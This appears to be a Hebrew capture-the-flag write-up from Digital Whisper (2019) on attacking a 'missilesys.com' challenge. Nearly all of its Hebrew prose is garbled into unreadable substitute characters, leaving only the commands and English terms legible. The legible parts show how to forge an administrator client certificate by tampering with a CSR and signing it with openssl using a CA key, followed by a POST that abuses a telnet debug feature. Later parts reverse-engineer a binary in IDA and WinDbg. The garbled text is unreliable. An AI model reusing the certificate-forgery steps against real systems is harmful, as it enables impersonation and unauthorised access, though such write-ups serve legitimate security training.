˥˸˲ˬ ˧˦˶˲ ˶˷˞ ˱˶ˣ˴ˬ ˢ˷˵˟˪ ˶˴˧˧˪ˣ Certificate "˫ˣ˸˥." 

2. CSR - )x˞ Certificate Signing Request (˧ˢˣˤ ˢ˷˵˟ˢ ˷˧˷ ˥ˣ˪˷˪ ˪-CA ˡ˥˧ ˫˰ ˥˸˲ˬ ˧˦˶˲ ˱˶ˣ˴ˬ 

˧ˡ˩˟ ˞ˣˢ˷ ˫ˣ˸˥˧ ˪˰ ˢ˷˵˟ˢ. ˢˡˣ˵ˮ ˢ˟ˣ˷˥ ˡˣ˞ˬ ˧˟ˠ˪ CSR ,˭˸˧ˮ ˷˵˟˪ ˢˬ-CA ˫ˣ˸˥˪ ˣˮ˪ ˪˰ 

Certificate ˪ˣ˩˧˷ ˫ˣ˸˥˪ ˣˬ˴˰˟ ˪˰ ˡˣ˰ Certificate-˫˧ ˸˶˷˶˷˟. 
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:ˢ˩˩ ˨˶˰˟ ˢ˞˶ˮ ˨˧˪ˢ˸ˢ ˪ˣˡˠ˟ 

 

 ˫ˮ˷˧ ˯˲ˣ˦˟˷ ˭˭ˣˣ˧˩ˬ :ˢˤˢ ˶ˠ˸˞˪ ˭ˣ˶˸˲ˢ ˪˷ ˢ˵˧ˠˣ˪ˣ ˢ˵˧˦˵˶˲ ˶˸ˣ˧ ˸˴˵ ˣ˧˷˩˰ˣ2 hidden inputs 

ˣ˩˧ ˣˮ˞˷ˢ ˪˷ "ˠˣ˟˧ˡ" ˫˰ ˸ˣˮ˷˪ ˫˧˪-Javascript  ˶˴˧˧˪ ˪˩ˣˮCSR  ˣˮ˪ ˞˧˟˧ ˣˬ˴˰˟ ˶˷˞Certificate 

 ˪˰ ˫ˣ˸˥˪ ˪˩ˣˮ ˣ˸˶ˤ˰˟˷Certificate ˢ ˢˡ˷˟ ˪˧˩˧ ˶˷˞ ˱˯ˣˮ-Common Name ˢ ˸˞ ˣ˪˷-

administrator .˫˧˩˧˶˴ ˣˮ˞ ˣ˸ˣ˞ 

 ˣˮ˶˴˧ ?˭˞˩ˬ ˣˮ˧˷˰ ˢˬCSR  ˫˰ ˷ˡ˥Common Name " ˫˷˟missilesys.com ."-sCSR  ,ˣˮ˶˴˧˷ ˷ˡ˥ˢ

 ˪˰ ˫ˣ˸˥˪ ˣˮ˪ ˶˷˲˞˧ ,˶˸˞ˢ ˧ˡ˧ ˪˰ ˫˸˥˧˷ ˶˥˞˪Certificate-.˫˧˲˯ˣˮ ˫˧ ˢ ˸˞ ˶˴˧˧˪ ˧ˡ˩-CSR 

˟ ˣˮ˷ˬ˸˷ˢ-Microsoft Management Console  ˪˷Windows: 
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ˢ ˪˷ ˟˪˷˟-Certificate Information˟ ˫˧˟ˣ˷˥ ˫˧˩˶˰ ˸ˣˮ˷˪ ˫˧˴ˣ˶ ˣˮ˥ˮ˞ ,-CSR: 

 

 ˪˰ ˳˥˪ˮProperties ˮ ˫˷ˣ:˫˧˞˟ˢ ˸ˣˡ˷ˢ ˸˞ ˨ˣ˶˰ 

1. Common Name - ˪-missilesys.com 

2. ˟-Extension ˞˶˵ˮ˷ "Basic Constraints "˷˧ ˵˧˪ˡˢ˪ ˸˞ ˸ˣˡ˷ˢ "Enable This Extension "-x"Allow 

subject to issue certificates ,"˱˯ˣˮ˟ ,˪˰ s-Path Length ˸ˣ˧ˢ˪ ˪ˣˡˠ ˬ-1 ˸˧ˮˣ˪˥˟ˣ s-Private Key 

˷˧ ˭ˬ˯˪ ˸˞ ˢ˧˴˲ˣ˞ˢ ˷˸˶˷˲˞ˬ ˞˴˧˧˪ ˸˞ ˥˸˲ˬˢ ˧˦˶˲ˢ. 
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ˢ ˶˴ˣˮ ˣ˸˶ˤ˰˟˷ ˧˦˶˲ˢ ˥˸˲ˬˢ ˸˞ ˫˧˩˧˶˴ ˣˮ˞ ,˨˧˪ˢ˸ˢ ˸˞ ˣˮˬ˧˧˯˷ ˶˥˞˪-CSR. sCSR-  ˞˴ˬˮ ˷ˡ˥ˢ

" ˢ˧˧˵˧˸˟Certificates Enrollment Requests": 

 

ˢ ˸˞ ˶˥˟ˮ-CSR ˪˰ ˳˥˪ˮˣ ˧ˮˬ˧ ˷˵ˬ ˳˥˪ˮ ,Export.  ˦ˬ˶ˣ˲˟ ˧˦˶˲ˢ ˥˸˲ˬˢ ˸˞ ˞˴˧˧˪ ˷˵˟ˮPKCS12 

˧˴˲ˣ˞ˢ)˷ ˢˡ˧˥˧ˢ ˢ-Windows .˞ˬ˯˧˯ ˣ˪ ˶˥˟ˮˣ (ˣˮ˪ ˭˸ˣˮ 

ˢ ˸˞ ˶˧ˬˢ˪ ˢ˴˶ˮ ,˭˩ˬ ˶˥˞˪-PKCS12  ˦ˬ˶ˣ˲˪ ˣˮ˪ ˞˴˧˧ ˯ˣˡˮ˧ˣˣ˷PEM˟ ˷ˬ˸˷ˮ ˸˞ˤ ˸ˣ˷˰˪ ˧ˡ˩˟ .-

OpenSSL. 

ˬ ˢ˶ˬˢ-PKCS12 ˪-PEM: 

openssl  pkcs12 - in bla.pfx - nocerts - out key.pem  

ˢ ˥˸˲ˬ ˥ˣˮ˰˧˲-PEM :˫ˡˣ˵ˢ ˟˪˷ˢˬ ˣˮ˪ ˣˮ˞˴˧˷ 

open ssl  rsa - in key.pem - out privkey.key  

ˢ ˪˰ ˣˮ˪ ˫ˣ˸˥˪ ˶˸˞˪ ˸˸˪ ˫˧˪ˣ˩˧ ˣˮ˞ ,˸˰˩-CSR. ˟ ˷ˬ˸˷ˮ-Javascript Breakpoints˷ ˸ˣ˶˷˲˞ ,-

Chrome  ˫˧˷˪ ˧ˡ˩ ˣˮ˪ ˵˲˯ˬBreakpoints  ˡˣ˵ ˪˰Javascriptˢ ˸˞ ˷˧ˠˬ ˞ˣˢ˷ ˧ˮ˲˪ ˶˸˞ˢ ˸˞ ˶ˣ˴˰ˮ .-

CSR :˫ˢ˧˪˰ ˫ˣ˸˥˪ ˧ˡ˩ ˸˶˷ˢ ˡ˴˪ ˧˦˶˲ˢ ˥˸˲ˬˢˣ 
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 ˸˞ ˣˮˬ˷Breakpoint  ˢ˶ˣ˷˟19,449 ˢ ˸˞ ˨ˣ˶˰˪ ˪˩ˣˮ ˸˰˩ˣ-CSR :˧˦˶˲ˢ ˥˸˲ˬˢˣ 

 

ˢ ˪˰ ˣˮ˪ ˫˸˥ ˶˸˞ˢˣ ˣˮ˩˶˰˷ ˶˥˞˪-CSR  ˳˟ˣ˵ ˣˮ˪ ˞˧˴ˣˢˣPKCS12 ˪˰ ˫ˣ˸˥˪ ˪˩ˣˮ ,Certificates !ˣˮ˪˷ˬ 

 ˶˴˧˧ˮCSR ˢ˷ ˷ˡ˥-"Common Name" ˞ˣˢ ˣ˪˷ "administrator:ˣ˧˪˰ ˫ˣ˸˥ˮˣ " 

openssl  x509 - req - in admin.req - CA ca.cert - CAkey server.key -

CAcreateserial - out admin.crt  

ˢ ˪˰ ˣˮˬ˸˥˷ ˶˥˞˪-CSR  ˸˞ ˣˮ˪ ˷˧admin.crt. ˢ ˸˞ ˭˧˵˸ˮ ,˸˰˩-Certificate  .˶˸˞ˢ ˪˞ ˷ˠ˧ˮˣ ,˯ˣˡˮ˧ˣˣ˟

 ˢˤ˧˞ ˫˰ ˣˮ˸ˣ˞ ˪˞ˣ˷˷ ˭ˣ˪˥ ˸˞ ˪˟˵ˮ ˫˷Certificate .˶˸˞˪ ˸˷ˠ˪ ˟ ˶˥˟ˮ-Certificate ˰ ˣˮˬ˸˥˷ ,ˣ˧˪

˩ ˫˧˶˟ˣ˥ˬ ˣˮ˥ˮ˞ ˸˰˩ˣ-administrator: 
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 ˩ ˫˧˶˟ˣ˥ˬ ˣˮ˥ˮ˞ ,˸˰˩-administrator ˢ ˡˣˬ˰˪ ˯ˮ˩ˮ .ˢ˞˪ˢ ˨˧˷ˬˢ˪ ˫˧˪ˣ˩˧ ˣˮ˥ˮ˞-Settings. 

 ˸ˣ˟ˣ˸˩ ˸ˣ˞˶˪ ˭˸˧ˮ ˡˣˬ˰˟IP  ˵˷ˬˬˣTelnet Debugging: 

 

 ˸ˣ˟ˣ˸˩ ˸ˣ˞˴ˬˮ ˪˞ˬ˷ ˡ˴˟IP ˢ ˵˷ˬˬ ˫˰ ˫ˢˬ ˡ˥˞˪ ˶˟˥˸ˢ˪ ˢ˯ˮˮ ,˫˧˟˧˩˶ˢ ˪˷-Telnet: 
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ˬ ˳ˣ˥ .˭ˣ˸ˮ ˭ˬˤ˟ ˸˥˞ ˫˰˲ ˵˶ ˶˟˥˸ˢ˪ ˶˷˲˞˷ ˣˮ˪ ˟˸˩ˮ ,˶˟˥˸ˢ˪ ˣˮ˧˯˧ˮ˷ ˶˥˞˪-Telnet  ˦˶ˣ˲)23 (

"ˢ ˸˞ ˫ˠ ˣˮ˪ ˷˧Management Status ˦˶ˣ˲˟ ˞ˣˢ˷ "80 -  ˪˷ ˦˶ˣ˲ˢHTTP.  ˸˷˵˟ ˸ˣ˷˰˪ ˢ˯ˮˮGET 

:˪˟˵ˮ ˢˬ ˢ˞˶ˮˣ ˦˶ˣ˲˪ 

 

 ˶ˬˣ˪˩ ,˰ˠ˶˩ ˫˧˞˴ˬˮ ˣˮ˥ˮ˞ ˣ˟˷ ˡˣˬ˰ˢ ˸˞ ˣˮ˪˟˧˵˷ ˢ˞˶ˮ10.0.0.1:80 ˣˮ˥ˮ˞ ˰ˠ˶˩˷ ˶˸˞ˢ ˞ˣˢ  ˫˧˞˴ˬˮ

.ˣ˟  ˡˣˬ˰˪ ˸˷ˠ˪ ˢ˯ˮˮsettings :˫ˣ˵ˬ˟ 
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 ˫˧˪˟˵ˬ ˣˮ˥ˮ˞˷ ˢ˞˶ˮ !˸˶˥˞ ˢ˟ˣ˷˸ ˣˮ˪˟˧˵302 Redirect .ˢ˶ˤ˥˟  ˭ˣˬˢ ˣˮ˧˯˧ˮˣ ˣˮ˰˵˸ˮ ˸˴˵ ˢˤˢ ˟˪˷˟

ˢ ˸˞ ˸ˣ˶˧ˤ˥ˬ ˸ˣ˷˵˟ˢ˷ ˣˮ˧˞˶ .˫˧˶˟ˡ-Header  ˪˷Server ˩-Cheroot/6.5.4 .  ˣˮ˥˪˷ ˶˷˞˩ ,˱˯ˣˮ˟

˷˵˟ ˸GET ˪- ˶˧ˤ˥ˬ ˸˶˷ˢ ˧˩ ˣˮ˧˞˶ /Header  ˪˷Set-Cookieˢ˷ ˞ˣˢ ˶ˤˣˬ ˣˮ˪ ˢ˧ˢ˷ ˶˟ˡ .-Domain 

ˢ˷-Header  ˞ˣˢ ˶˧ˤ˥ˬmissilesystem.com  ˞˪ˣmissilesys.com.  ˢ˞˶ˮ˩ ˣˤ˷ ˣˮ˟ˢ ˫˧˟˶ ˸ˣˮˣ˧˯˧ˮ ˶˥˞˪

.˶ˠ˸˞˟ ˸ˣ˰˦ 

ˢ ˪˷ ˸ˣˡ˷ˢ˷ ˣˮ˧˞˶ ,ˡ˟ˣ˰ ˶˸˞ˢ ˨˧˞ ˪˰ ˸ˣ˪˩˸˯ˢ˟-IP sx-PORT ˷˵˟˩ ˫˧˶˟˰ˣˬ ˸POST  ˡˣˬ˰˪

/telnet: 

 

 ˸˷˵˟ ˸ˣ˷˰˪ ˸ˣ˯ˮ˪ ˣˮ˦˪˥ˢPOST  ˸ˣˡ˷ˢ ˫˰ ˣˮˬ˴˰˟IP x-PORT ˢ ˪˷ ˡˣˬ˰˪-telnet  ˣˮ˪˟˧˵ˣHTTP 

404. ˢ ˪˷ ˡˣˬ˰˪ ˢ˷˵˟ˢ ˢ˸ˣ˞ ˸˞ ˸ˣ˷˰˪ ˣˮ˧˯˧ˮ-settings  ˟ˣ˷ ˣˮ˪˟˧˵ ˪˟˞Redirect: 

 

ˣˮ˥ˮ˞ ˶˸˞˪ ˢ˷˧ˠ ˪˩˟˷ ˣˮ˞˴ˬˣ ,˫˧˯˲˯˲ˬ ˣˮ˥ˮ˞ ˢˬ ˸ˣ˞˶˪ ˣˮ˧˯˧ˮ ˢˤˢ ˟˪˷˟  ˫˰ ˫˧˷ˠ˧ˮCookie  ˫˷˟

SID. 

  



 
 

˭ˣ˶˸˲ ˶ˠ˸˞ ˯ˣ˧ˠˢ ˪˷ ˡ˯ˣˬˢ - 2019 
www.DigitalWhisper.co.il 

 ˭ˣ˧˪ˠ107 ,˧ˮˣ˧ 2019  22 
 

ˢ ˸˞ ˱˧˯ˣˢ˪ ˣˮ˧˯˧ˮ-Cookie ˩-Header :ˢ˷˵˟˪ 

POST /settings HTTP/1.1  

Content - Type:  application/x - www- form - urlencoded  

Cookie:  

SID=Z0FBQUFBQmMzX2JmMktHWDJ5U2h3RE1mMXhwdWZXc3E5Sm1PT0d1bng2Qk5VYTM0LVNm

OF94NXZfUXcxeUFiMXBMQnNIUTRJTGI1OXJ2Yjk3RTF3QVZWM0RSb3F1ckIyNDBsUC1pUGRh

cGVQTk9fd2tVbHc5Qm1LQk81emRoVWpqRHdZamhKakJtSmRZRzh3aU1EQm1yUXMxQkxsOG40

WUdkellXY25SemlyS0N5MnlsaWhDY050VzZxa3B1MGpWUlQ1WURxWUk1SGFhZ0xrSEpJaE41

YktrNDBoQmhFbzJkdXpBclI5OW5sQlFBR2VjRnlNTGFUV011THVvZGVYa1c2Q2lDRHQ0bDk2

MWR0QXBfaU5uWmpXdjJydkdxdGI3NzRDdWl2c2Y0MjBMVUo4M0JfQkVTdG89 

Content - Length:  19 

 

ip =10.0.0.1&port =80 

 

 ˢˤˣ ˭˩˞!ˡ˟˰ 

 

 ˟˪˷˪ ˵ˮ˧˪ˢ ˪˰ ˣˮ˴˥˪ ˶˷˞˩ ,ˢ˵˧˥˴ˬ ˢ˦ˣˡ˵ˮ˞3 ,˧˷˧˪˷ˢ ˟˪˷˪ ˪˰ˣ˲˟ ˪˧˟ˣˬ ˣˮ˧˞ ˵ˮ˧˪ˢ˷ ˣˮ˧˪˧ˠ ,

 ˟˪˷˪ ˣˮ˩˷ˬˢˣ ˢ˧˰˟ˢ ˢ˶˸˲ˮ ,˸˲˶ˣ˴ˬˢ ˸˟ˣ˸˩ˢ ˪˷ ˧ˮ˷ˢ ˡ˴ˢˬ ˢ'˶˟˥ˢ ˫˰ ˤ˧˶ˤ ˫˧˪˧˧ˬ ˶˲˯ˬ ˶˥˞˪

 ˶ˠ˸˞ˢ ˪˷ ˧˷˧˪˷ˢJ 
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 ˟˪˷3 

 

ˮ˧˲˴ˬ˷ ˢˮ˩ˣ˸ˢ ˸˞ˣ ˭˲˴ˣˬ ˳˟ˣ˵ ˣˮ˪˟˧˵˷ ˢ˞˶ˮ ˢˮ˩ˣ˸ˢ ˸˞ ˳˧˶ˢ˷ ˟˷˥ˬˢ˷ ˢ˞˶ˮ ,˱˯ˣˮ˟ ˣ˸ˣ˞ ˢ

.˸ˬ˧˧ˣ˯ˬ ˢ˶˟˥ ˪˷ ˢ˧ˢ ˫˧˦˯˧˶ˣ˶˦ˢ ˪˷ ˫˥˸ˬ˟ ˢ ˸˞ ˣˮ˪˟˧˵ˣ ˢˮ˩ˣ˸ˢ ˸˞ ˳˧˶ˢ˪ ˣˮ˧˯˧ˮ-Usage :˞˟ˢ 

 

" ˭˩ˣ˸ˢ ˸˞ ˪˧˩ˢ ˶˷˞ ˣˮ˪˷ˬ ˳˟ˣ˵ ˭˧˲˴ˢ˪ ˧ˡ˩ ˢˮ˩ˣ˸˟ ˣˮ˷ˬ˸˷ˢ˷ ˶˥˞˪a ˪˷ ˪ˡˣˠ˟ ˳˟ˣ˵ ˣˮ˪˟˧˵ˣ "

3004 ˣ˶ˤ˪ˣ ˢˮ˩ˣ˸ˢ ˸˞ ˸˥˵˪ ˣˮ˦˪˥ˢ ˫˧˸˟ ˪˞ ˢ˸ˣ˞ ˵IDA .ˢ˟ˣˢ˞ˢ 
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ˢ ˸˞ ˣˮ˷˲˧˥-String ˢ ˪˷-Usage ˢ ˣˬ˩ ˣˮ˪ ˢ˸˞˶ˮ˷ ˢ˞˟ˢ ˢ˧˴˵ˮˣ˲ˢ ˪˞ ˣˮ˰ˠˢˣ-Main :ˢˮ˩ˣ˸ˢ ˪˷ 
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ˢ ˶ˣˡ˧˯ ˸˴˵ ˶˥˞˪-Disassembler  ˪˷IDA  ˸ˣ˩˟ˣ˯ˬ ˸ˣ˧˴˵ˮˣ˲ ˫˰ ˸ˣˡˡˣˬ˸ˢ˟ ˪˪˩ ˨˶ˡ˟ ˭˧˧˦˴ˬ ˞˪˷

:ˢ˧˴˵ˮˣ˲ˢ ˢ˸˞˶ˮ ˢ˩˩ ,˧ˡ˧ˬ 
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˭˸˧ˮ ˸˰˩  ˪˞ ˪ˣ˪˴ˮprobably_logicˢ ˸˞ ˸˪˟˵ˬ˷ ˢ˧˴˵ˮˣ˲ˢ ,-input_filename  ˪˩ ˸˞ ˣ˸˧˞ ˢ˷ˣ˰ˣ

:ˢˮ˲˴ˢˢ ˪˷ ˢ˵˧ˠˣ˪ˢ 
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?ˢˤ˩ ˶˟ˡ˪ ˫˧˷ˠ˧ˮ ˨˧˞ ?˫˧˪˧˥˸ˬ ˨˧˞ ,ˢˬˣ˴˰ ˢ˧˴˵ˮˣ˲ ˣˤ 
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 ˪˰ ˶˟ˡˮ ˣ˞ˣ˟4 :ˢˤˢ ˪˧ˠ˶˸˟ ˫ˢ˟ ˷ˬ˸˷ˢ˪ ˶˷˲˞ ˨˧˞ˣ ˢ˷ˣ˰ ˢˮ˩ˣ˸ ˢˬ ˭˧˟ˢ˪˟ ˫˧˟ˣ˷˥ ˸ˣˮˣ˶˵˰ 

1. ˠˣ˟˧ˡ ˧ˬ˞ˮ˧ˡ: ˳˧˶ˢ˪ ˸˞ ˢˮ˩ˣ˸ˢ ˨˶ˡ ˶ˠ˟˧ˡ xʕ ˨˶ˡ ˢ˵ˤ˥ ˸˧˸ˣ˰ˬ˷ˬ ˡˣ˟˰˪ ˭˧˟ˢ˪ˣ ˢˬ ˞˧ˢ ˢ˷ˣ˰ 

˫ˣ˵ˬ˟ ˪˩˸˯ˢ˪ ˢ˧˪˰ ˢ˶ˣ˴˟ ˸˧˦˦˯. 

2. ˷ˣ˲˧˥ ˫˧˰ˣ˟˵: ˢ˟˶ˢ ˫˧ˬ˰˲ ˣˮ˥ˮ˞ ˪˵˸ˮ ˢ˧˴˵ˮˣ˲˟ ˸˧˵ˮ˰ ˢ˷ˣ˰˷ ˭ˣˬˢ ˫˧˶˟ˡ .ˡ˥ˣ˧ˬ˟ ˫˧˧˶˞ˮ˧˟˟ 

˪˩˷ ˫˸˶˦ˬ ˞˧ˢ ˭˧˲˴ˢ˪ ,ˢ˞˶ˮ˩ ˪˵˸ˮ˷ ˸ˣ˧˴˵ˮˣ˲˟ ˸ˣ˷ˬˬ˷ ˢˤ˧˞ ˞ˣˢ˷ ˫˸˧˶ˣˠ˪˞ ˢˮ˲˴ˢ .ˢ˷˵ 

ˡˣ˞ˬ ˪˭˧˟ˢ ˢˬ ˭s ˸ˣ˷ˣ˰ ˵˶ ˪˰ ˧ˡ˧ ˸ˣ˪˩˸˯ˢ ˸˧˦˦˯ ˟-IDA x˞ ˣ˪˧˲˞ ˠˣ˟˧ˡ˟ ˧ˬ˞ˮ˧ˡ ˶˩ˤˣˢ˷ 

ˢ˪˰ˬ˪ .˸ˣ˧˴˵ˮˣ˲˟ ˸ˣ˶ˣ˷˵˷ ˪-Crypto ˶ˡ˟"˩ ˷˧ ˢ˟˶ˢ ˫˧˰ˣ˟˵ .ˢ˧ˢ˧ ˡˣ˞ˬ ˪˧˰ˣˬ ˷˲˥˪ ˫˧˰ˣ˟˵ 

˭˸ˣ˞ˬ ˸ˣ˧˴˵ˮˣ˲ ˪ˠˣˠ˟ ,˨˶ˡ˟ ˪˪˩ ˫˰ ˷ˣ˲˧˥ ˭ˣ˩ˮ ˪˩ˣˮ ˭˧˟ˢ˪ ˵ˣ˧ˡ˟ ˢˬ ˫˸˧˶ˣˠ˪˞ˢ ˣˮ˞˷ ˫˧˞ˣ˶ ˣˮ˪ˣˬ. 

3. ˧ˮ˷ˣ˥ ˪˩˷ˣˬ: ˫˧ˬ˰˲˪ ˶˷˲˞ ˷˥ˮ˪ ˢˬ ˢ˧˴˵ˮˣ˲ˢ ˢ˷ˣ˰ ˧˲˪ ˫˧˶˦ˬ˶˲ˢ ˞˧ˢ˷ ˸˪˟˵ˬ ,ˣˢˤ ˷ˣ˥˧ˮ 

˪˩˷ˣˬ ,˭˩˷ ˫˧˸˧˰˪ ˢ˰˦ˮ ˧ˢˬ˟ ˸˶˦ˬ ˢ˧˴˵ˮˣ˲ˢ ,˨˞ ˵˪˥˟ ˪ˣˡˠ ˫˧˶˵ˬˢˬ ˢ˞˶ˮ˩ ˰ˡˮ˷ ˢˬ ˞˧ˢ 

ˢ˷ˣ˰. 

4. ˸ˣ˧˴˵ˮˣ˲ ˸ˣ˶˩ˣˬ: ˢ˟˶ˢ˟ ˫˧˶˵ˬ ˷˧ ˷ˣˬ˧˷ ˸ˣ˧˴˵ˮˣ˲˟ ˪˷ ˸˩˶˰ˬ ˢ˪˰˲ˢˢ )ˢ˶˵ˬ˟ ˣˮ˪˷ 

WinAPI (-˷IDA ˢˢˤˬ ˶˟˩ ˣˮ˪˧˟˷˟ .ˣˮ˥ˮ˞ ˫˧˪ˣ˩˧ ˵˧˯ˢ˪ ˢˬ ˢ˧˴˵ˮˣ˲ ˢ˷ˣ˰ ˵˶ ˰"˧ ˸ˣ˪˩˸˯ˢ ˪˰ 

˸ˣ˞˧˶˵ˢ ˸ˣ˧˴˵ˮˣ˲˪ ˣ˪˞ˢ ˢˮ˟ˢˣ ˪˷ ˫˧˶˦ˬ˶˲ˢ ˭ˢ˷ ˸ˣ˪˟˵ˬ. 

 

ˠˣ˟˧ˡ ˧ˬ˞ˮ˧ˡ 

 ˢ˞˶ˮ ˣ˞ˣ˟ ,˧ˬ˞ˮ˧ˡ ˠˣ˟˧ˡ ˞ˣˢ ˢ˷ˣ˰ ˢˮ˩ˣ˸ˢ ˢˬ ˪˷ ˢˮ˟ˢ˟ ˫ˢ˟ ˣˮ˷ˬ˸˷ˢ˷ ˫˧˟ˣ˷˥ˢ ˫˧˶˟ˡˢ ˡ˥˞

.˶ˣˤ˰˪ ˪ˣ˩˧ ˢˤ ˢˬ˪˪ ˞ˬˠˣˡ ˮ ˣ˞ˣ˟˟ ˢ˧˴˵ˮˣ˲ˢ ˪˰ ˪˩˸˯-Offset  :˞˟ˢ 

sub_xx3AB0: 

 

 ˭ˣˬˢ ˢ˪˧˩ˬ˷ ˢ˩ˣ˶˞ ˸˧˯˥˧ ˢ˧˴˵ˮˣ˲ ˞˧ˢ ˢ˧˴˵ˮˣ˲ˢOpcode- ˭˧˟ˢ˪ˣ ˵ˬˣ˰˪ ˢ˸ˣ˞ ˥˸ˮ˪ ,˫˧˶ˤˣˬ ˡˣ˞ˬ ˫˧

.˧ˬ˞ˮ˧ˡ ˠˣ˟˧ˡ ˧˪˟ ˸ˣ˟ˣ˦ ˸ˣ˰˷ ˢˬ˩ ˣˮ˪ ˥˵ˣ˪ ˢ˧ˢ ˢ˞˶ˮ˩ ˢ˷ˣ˰ ˞˧ˢ ˢˬ 
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˟ ˢ˧˪˞ ˞ˬˠˣˡ˪ ˢ˞˧˶˵ ˪˰ ˪˩˸˯ˮ ˣ˞ˣ˟-offset s ˞˟0x1355: 

 

 ˫˷ ˫˧˷ˮBreakpoint  ˸˶ˤ˰˟WinDbg :˫˧˶˦ˬ˶˲ ˪˰ ˪˩˸˯ˮˣ ˢ˧˪˞ ˢ˞˧˶˵ˢ ˪˰ 

 

:˶˦ˬ˶˲ ˪˩˟ ˶˟˰ˣˬ ˢˬ ˪˰ ˪˩˸˯ˮ ˞ˣ˟ ,˧˧˵ˣ˞ ˟-eax  ˞ˣˢ˷ ˢˤ˧˞ ˶˟˰ˣˬBuffer  ˪ˡˣˠ˟16  ˫˧˸˟

˟ ˪˥˸ˣ˞ˬ˷-0xbaadf00d: 

 

:˫˧˶ˤˣˬ ˫˧˩˶˰ ˢˬ˩˟ ˪˥˸ˣ˞ˬ˷ ˶˲˞˟ ˞ˣˢ˷ ˢˤ˧˞ ˶˟˰ˣˬ ˸˧ˮ˯˥ˬˢ ˪˰ ,ˣ˧ˮ˲˪ 

 

ˬ ˸˧ˮ˯˥ˬˢ ˪˰ˣ ˨˶˰ˢ ˶˟˰ˣ0x10 ˟ ˶˲˞˟ˢ ˪ˡˣˠ ˢ˞˶ˮ˩)-eax:( 

 

 ˣˮ˧˷˰ ,ˣ˧˷˩˰Step-Over  ˷˵ˬˢ)F10˟ ˷˧ ˢˬ ˪˰ ˪˩˸˯ˮ ˣ˞ˣ˟ ,ˢ˶ˣ˵ ˢˬ ˸ˣ˞˶˪ ˧ˡ˩ (-Buffer ˟ ˢ˧ˢ˷-

eax :˫ˡˣ˵ˬˬ 

 

 ˪˩ˢ ˨˯˟ ˞˧ˢ ˢ˧˴˵ˮˣ˲ˢ˷ ˢ˞˶ˮ ,˟˧ˮˠˬmemcpy˸˩˟ˣ˯ˬ ˡˣ˞ˬ ˸˧˞˶ˮ ˫ˮˬˣ˞ , . ˸ˣ˧˴ˤ˧ˬ˧˦˲ˣ˞ ˪˷ ˟ˣ˪˧˷

˸ˣ˧ ˞ˣˢ˷ ˷ˣˬ˧ˬ ˸˟˧˸˩ˣ :ˢ˲ ˢˬˣˡ ˸˧˯˥˧ ˷ˣˬ˧ˬ ˸ˣ˞˶˪ ˶˷˲˞ ,˶˧ˢˬ ˶ 

https://github.com/skywind3000/FastMemcpy/blob/master/FastMemcpy.h 

˞ˬ ˸ˣ˪˵˟ ˶˷˲˞ ,ˢ˸ˣ˞ ˫˧ˠ˟ˡˬ ˶˷˞˩ ˪˟˞ ˸˧˦˦˯ ˢ˶ˣ˴˟ ˢ˧˪˰ ˫˧˪˩˸˯ˬ ˶˷˞˩ ˢ˷ˣ˰ ˞˧ˢ ˢˬ ˭˧˟ˢ˪ ˡˣ

.ˡ˥˲˪ ˧˪˟ 

 

  

https://github.com/skywind3000/FastMemcpy/blob/master/FastMemcpy.h
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˷ˣ˲˧˥ ˫˧˰ˣ˟˵ 

˟ ˢ˧˴˵ˮˣ˲ˢ ˸˞ ˥˵˧ˮ ˞ˣ˟-Offset  ˢˤˢ0x19F0: 

 

 ˸ˣ˧˴˵ˮˣ˲˟ ˩"˶ˡ˟ .˸ˣ˶ˤˣˬ ˸ˣ˧˦ˬ˸ˬ ˸ˣ˪ˣ˰˲ ˭ˣˬˢ ˢ˪˧˩ˬ ,˸˩˟ˣ˯ˬ ˡˣ˞ˬ ˢ˧˴˵ˮˣ˲ ˸˧˞˶ˮ ˣ˧ˮ˲ ˪˰Crypto 

ˠˡˣˬˢ ˫˧˰ˣ˟˵˪ ˟˪ ˣˬ˧˷ ,˫˧˰ˣ˟˵ ˧ˡ˧ ˪˰ ˢ˶˧ˢˬ ˸˧˯˥˧ ˢˮ˟ˢ˪ ˸ˣˮ˸˧ˮ ˸ˣ˶˥˞ˣ ˣ˪˞˩:ˢ˞˟ˢ ˢˮˣˬ˸˟ ˫˧˷ 

 

" ˪˷ ˪ˠˣˠ˟ ˤ˧˶ˤ ˷ˣ˲˧˥0x9D2C5680 crypto:ˢ˞˟ˢ ˢ˞˴ˣ˸˪ ˪˧˟ˣˬ " 
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 ˪˥˸ˣ˞ˬ˷ ˫˧˧ˣ˯ˬ ˢ˧˴ˤ˧ˬˣˡˮ˶ ˫˸˧˶ˣˠ˪˞ ˞ˣˢ˷ ˢˤ˧˞ ˣˢˤ ˧˩ ˫˧˪ˠˬ ˣˮ˥ˮ˞ ˢ˧ˡ˲˧˵˧ˣ˟ ˢ˶˴˵ ˢ˞˧˶˵ ˧˶˥˞

 ˧ˡ˧ ˪˰Seed .ˣˢ˷˪˩ ˣˡˬˢ ˢ˧˴˦ˮˬ˪˲ˬ˧˞ˢ ˵ˣ˧ˡ˟ ˞˧ˢ˷ ,ˢ˞˟ˢ ˢ˞˴ˣ˸ˢ ˸˞ ˢ˪˰ˬ ˪ˠˣˠ˟ ˱˯ˣˮ ˷ˣ˲˧˥ ˸˵˧

˟ ˫˸˧˶ˣˠ˪˞ˢ ˪˷-C: 

https://github.com/ESultanik/mtwister 

 ˦ˣ˷˲ ˞˧ˢ˷ ˢ˞˶ˮ ˢ˧ˮ˲˪ ˸˥˞ ˢ˧˴˵ˮˣ˲ ˫ˠˣ ,ˢ˷ˣ˰ ˢ˧˴˵ˮˣ˲ˢ ˢˬ ˵ˣ˧ˡ˟ ˣˮ˟ˢ ˣ˧˷˩˰˷ ˢ˞˶ˮ ,ˢ˪ˣ˰ˬ

ˢ ˸˰˧˟˵-Seed ˢ ˸˧˧˴˵ˮˣ˲ ˪˷-Random. 

 

˷ˣ˥˧ˮ ˪˩˷ˣˬ 

ˮ˶ˬ˞˷ ˣˬ˩ˢ˪˷ ˫˧˶˦ˬ˶˲ˢ ˪˷ ˢˮ˟ˢ˟ ˵˶ ˢ˷ˣ˰ ˢ˧˧˴˵ˮˣ˲ ˢˬ ˭˧˟ˢ˪ ˶˷˲˞ ˫˧ˬ˰˲ˢˬ ˢ˟˶ˢ˟ ,ˣ 

.ˢ˧˴˵ˮˣ˲˟ ˢ˶˴˵ ˸ˣ˪˩˸˯ˢˣ :ˢ˞˟ˢ ˢ˧˴˵ˮˣ˲ˢ ˸˞ ˢˬˠˣˡ˪ ˥˵˧ˮ 

 

  

https://github.com/ESultanik/mtwister
